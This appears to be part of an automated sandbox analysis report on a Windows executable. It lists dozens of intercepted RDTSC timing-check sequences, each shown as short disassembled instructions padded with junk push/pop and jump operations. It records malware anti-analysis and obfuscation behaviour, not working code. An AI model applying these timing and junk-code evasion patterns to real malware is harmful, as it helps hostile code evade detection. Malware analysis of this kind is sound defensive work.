Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998B8C second address: 998BAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB1550A1F24h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jc 00007FB1550A1F16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998BAF second address: 998BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998BB4 second address: 998BD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jp 00007FB1550A1F16h 0x0000000b jng 00007FB1550A1F16h 0x00000011 popad 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998BD2 second address: 998BE4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB154CDAD6Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998D48 second address: 998D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998D4C second address: 998D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007FB154CDAD71h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998D67 second address: 998D6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0C44 second address: 9A0C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0C48 second address: 9A0C71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FB1550A1F16h 0x00000010 jmp 00007FB1550A1F29h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A07D7 second address: 9A07DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0382 second address: 9B0386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0386 second address: 9B03A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FB154CDAD73h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFDCD second address: 9AFDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB1550A1F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFF66 second address: 9AFF6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFF6A second address: 9AFF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB1550A1F24h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFF88 second address: 9AFF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFF8C second address: 9AFF90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B1B6A second address: 9B1B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB154CDAD66h 0x0000000a pop ecx 0x0000000b je 00007FB154CDAD80h 0x00000011 jo 00007FB154CDAD6Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B1B83 second address: 9B1B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB1550A1F1Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B68A7 second address: 9B68B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB154CDAD66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B68B7 second address: 9B68BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B646E second address: 9B6473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6473 second address: 9B647E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B647E second address: 9B64AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jc 00007FB154CDAD7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB154CDAD6Ch 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B64AF second address: 9B64B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6617 second address: 9B661B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC639 second address: 9BC643 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC643 second address: 9BC65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB154CDAD74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC65B second address: 9BC667 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE89C second address: 9BE8A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE8A6 second address: 9BE8AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0E15 second address: 9C0E1F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB154CDAD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D71C4 second address: 8D71CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D71CA second address: 8D71CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F04D9 second address: 8F04E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jno 00007FB1550A1F16h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F04E9 second address: 8F0514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD6Dh 0x00000007 jnp 00007FB154CDAD66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push esi 0x00000013 jmp 00007FB154CDAD6Bh 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7D2E second address: 9C7D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7D34 second address: 9C7D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1521 second address: 9D1525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D18ED second address: 9D18F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D18F3 second address: 9D190B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB1550A1F23h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1A77 second address: 9D1AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB154CDAD76h 0x0000000c jno 00007FB154CDAD7Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1AB6 second address: 9D1ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1C40 second address: 9D1C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FB154CDAD76h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1DA6 second address: 9D1DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB1550A1F16h 0x0000000a pop ebx 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FB1550A1F22h 0x00000012 jmp 00007FB1550A1F1Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D296B second address: 9D2979 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FB154CDAD66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7C3A second address: 9D7C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7C3E second address: 9D7C47 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D77EA second address: 9D77EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D77EE second address: 9D77FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnc 00007FB154CDAD66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D77FA second address: 9D7804 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB1550A1F22h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7804 second address: 9D780A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E56BC second address: 9E56DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push ecx 0x00000008 jnp 00007FB1550A1F16h 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 jbe 00007FB1550A1F18h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007FB1550A1F16h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E56DD second address: 9E56E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7B22 second address: 9E7B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9287 second address: 9E929E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD71h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E929E second address: 9E92A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E92A2 second address: 9E92B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FB154CDAD66h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6F95 second address: 9F6F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6F99 second address: 9F6F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6F9D second address: 9F6FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FB1550A1F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6FAD second address: 9F6FB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6FB1 second address: 9F6FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB1550A1F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007FB1550A1F16h 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 js 00007FB1550A1F22h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06F8F second address: A06F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06F96 second address: A06FB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F22h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FB1550A1F16h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06FB4 second address: A06FC6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB154CDAD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06FC6 second address: A06FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06FCC second address: A06FD2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0635D second address: A06365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06365 second address: A06386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB154CDAD79h 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06676 second address: A06680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB1550A1F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06680 second address: A06684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06684 second address: A066A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB1550A1F1Eh 0x0000000e jbe 00007FB1550A1F22h 0x00000014 ja 00007FB1550A1F16h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A066A9 second address: A066AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A066AD second address: A066B7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB1550A1F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A066B7 second address: A066E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FB154CDAD6Ch 0x0000000a jmp 00007FB154CDAD76h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A069AE second address: A069B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A069B4 second address: A069CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FB154CDAD66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A069CD second address: A069D7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB1550A1F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A069D7 second address: A069F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FB154CDAD76h 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06CA9 second address: A06CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06CB1 second address: A06CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06CB8 second address: A06CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB1550A1F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06CC4 second address: A06CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06CC8 second address: A06CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CACD second address: A0CADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FB154CDAD68h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E389 second address: A0E38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E38D second address: A0E393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DF7D second address: A0DF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FEBE second address: A0FEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070306 second address: 507030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507030C second address: 5070310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070310 second address: 5070330 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FB1550A1F22h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070330 second address: 507035E instructions: 0x00000000 rdtsc 0x00000002 call 00007FB154CDAD6Ch 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007FB154CDAD71h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507035E second address: 5070362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070362 second address: 5070366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070366 second address: 507036C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070468 second address: 507046E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507046E second address: 5070472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070472 second address: 5070476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B2FB second address: 92B30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FB1550A1F1Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B30E second address: 92B312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
